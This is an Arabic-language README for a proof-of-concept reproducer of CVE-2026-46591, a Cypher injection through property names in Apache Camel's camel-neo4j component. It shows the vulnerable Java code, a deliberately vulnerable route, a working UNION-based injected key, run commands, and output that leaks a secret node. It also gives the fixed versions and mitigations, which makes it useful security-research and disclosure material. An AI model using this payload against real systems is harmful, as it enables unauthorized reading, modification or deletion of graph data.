
مُعيد إنتاج لثغرة CVE-2026-46591: حقن Cypher في Apache Camel camel-neo4j عبر أسماء الخصائص في CamelNeo4jMatchProperties، مما يتيح تجاوز التفويض / استخراج البيانات عبر التصنيفات (تم الإصلاح في 4.14.8/4.18.3/4.21.0)
يعرض هذا المشروع ثغرة حقن Cypher في مكوّن camel-neo4j في Apache Camel، المُتتبَّعة باسم CVE-2026-46591. يبني المُنتِج جملة WHERE الخاصة بـ Cypher لعمليات المطابقة/الاسترجاع والحذف من خريطة CamelNeo4jMatchProperties. عالجت CVE-2025-66169 الحقن عبر قيم الخصائص بربطها كمعاملات استعلام ($paramN) — لكن أسماء الخصائص (مفاتيح JSON لتلك الخريطة) ما تزال تُلحق بسلسلة الاستعلام حرفيًا في Neo4jProducer.retrieveNodes() وdeleteNode(). ولذلك فإن اسم خاصية يحتوي على صياغة Cypher يغيّر بنية الاستعلام المنفَّذ.
يوضح هذا الـ PoC الأثر كـ تجاوز الصلاحيات / تسريب بيانات: يضع المهاجم Cypher في مفتاح JSON بحيث يُعاد كتابة بحث :Person (عبر UNION) ليعيد أيضًا عقدة :Secret لم يكن مقصودًا الوصول إليها — مطابقةً لعبارة النشرة الاستشارية: «قراءة أو تعديل أو حذف أي عقدة أو علاقة».
النشرة الاستشارية: https://camel.apache.org/security/CVE-2026-46591.html
متابعة لإصلاحٍ غير مكتمل لـ CVE-2025-66169 (CAMEL-22719)، التي جعلت القيم معاملات (parameterised) لكنها تركت أسماء الخصائص مُدرَجة. نفس العائلة المرتبطة بحقن الترويسات مثل CVE-2025-27636 وCVE-2026-40453 وغيرها.
// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
if (paramIndex > 0) whereClause.append(" AND ");
String paramName = "param" + paramIndex;
whereClause.append(alias).append(".").append(entry.getKey()) // <-- entry.getKey() (the JSON key) unescaped
.append(" = $").append(paramName);
queryParams.put(paramName, entry.getValue()); // value is safely bound
paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);
باستخدام الخريطة السليمة {"name":"alice"} يكون الاستعلام
MATCH (n:Person) WHERE n.name = $param0 RETURN n. ومع مفتاح خبيث:
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
يصبح الاستعلام المبني كما يلي (الجزء اللاحق // = $param0 RETURN n من القالب مُعلَّق):
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node
لذا تحتوي الاستجابة على عقدة :Person الخاصة بالمستدعي وعقدة :Secret أيضًا.
يضيف الإصلاح (4.14.8 / 4.18.3 / 4.21.0، CAMEL-23528) تحققًا صارمًا من أسماء الخصائص
(^[A-Za-z_][A-Za-z0-9_]*$) في كل من retrieveNodes() وdeleteNode()، ويرفض أي اسم غير مطابق بطرح
Neo4jOperationException.
from("platform-http:/lookup")
.convertBodyTo(String.class)
.setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
.setHeader(Neo4jHeaders.MATCH_PROPERTIES, body()) // untrusted JSON body becomes the match map
.to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");
واجهة برمجة «البحث عن شخص حسب الخصائص»: يوفّر العميل معايير المطابقة بصيغة JSON، ويسلّمها المسار إلى المُنتِج باسم CamelNeo4jMatchProperties. يحتوي الرسم البياني على عقدتين من :Person وعقدة واحدة من :Secret، يجب ألا يُرجِع بحثُ الأشخاص قيمة value الخاصة بها أبدًا.
الضحية هي مسار Camel وقاعدة بيانات Neo4j الخاصة به؛ المهاجم هو عميل HTTP يضع Cypher في مفتاح JSON. يزرع مُهيِّئ صغير (seeder) العُقد ويشترط جاهزية Neo4j قبل بدء التشغيل.
CVE-2026-46591/
├── pom.xml # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml # neo4j 5.26 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Neo4jSettings.java # host / bolt / creds / secret flag
│ ├── Neo4jConfig.java # the Neo4j Driver bean (referenced as #neo4jDriver)
│ ├── Neo4jSeeder.java # waits for Neo4j, seeds :Person + :Secret nodes
│ ├── VictimRoute.java # platform-http:/lookup -> neo4j RETRIEVE_NODES
│ └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # first start pulls the ~1GB neo4j image
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
=== 1) Legitimate lookup body={"name":"alice"} ===
[{name=alice, role=user}]
secret leaked: false
=== 2) Injected lookup (Cypher in the JSON key) ===
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
[{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
secret leaked: true
>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true
أي مسار ينقل بيانات غير موثوقة إلى CamelNeo4jMatchProperties لعملية RETRIEVE_NODES أو DELETE_NODE. بالإضافة إلى قراءة تسميات أخرى عبر UNION، يمكن لمفتاح مُحقَن إضافة جمل SET/DELETE/DETACH DELETE لتعديل أو تدمير عقد وعلاقات عشوائية.
قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528). بعد الإصلاح، يتم التحقق من أسماء الخصائص وفقًا للنمط ^[A-Za-z_][A-Za-z0-9_]*$ قبل وضعها في الاستعلام.
حتى الترقية، لا تملأ CamelNeo4jMatchProperties من مدخلات غير موثوقة: تحقق من أسماء الخصائص أو ضعها في قائمة مسموح بها (على سبيل المثال وفقًا للنمط ^[A-Za-z_][A-Za-z0-9_]*$) قبل تمريرها إلى مُنتِج Neo4j، وتأكد من أن أي مستهلك يغذي هذا المسار يصفّي الترويسات الواردة Camel* / camel* بحيث لا يمكن لمرسل خارجي توفير ترويسة المطابقة.
مُعيد الإنتاج هذا مُقدَّم للبحث الأمني والاختبار المصرّح به فقط، لثغرة مُعلنة علنًا ومُصحَّحة. لا تستخدمه ضد أي أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكوّن | camel-neo4j |
| الفئة المتأثرة | org.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (يُدرج اسم الخاصية داخل جملة WHERE) |
| CWE | CWE-943 (تحييد غير صحيح للعناصر الخاصة في منطق استعلام البيانات) |
| الأثر | حقن Cypher ← قراءة / تعديل / حذف عقد وعلاقات عشوائية |
| الشروط المسبقة | يقوم مسار (route) بتعيين مدخلات غير موثوقة إلى خريطة CamelNeo4jMatchProperties (مثل نص الطلب)؛ الترويسة مسبوقة بـ Camel، لذا لا يمكن لعميل HTTP عادي تعيينها مباشرةً |
| الإصدارات المتأثرة | من 4.10.0 إلى ما قبل 4.14.8، ومن 4.15.0 إلى ما قبل 4.18.3، ومن 4.19.0 إلى ما قبل 4.21.0 |
| الإصدارات المُصحَّحة | 4.14.8، 4.18.3، 4.21.0 |
| JIRA | CAMEL-23528 (PR apache/camel#23258) |
| نسبة الاكتشاف | Yu Bao (PayPal) |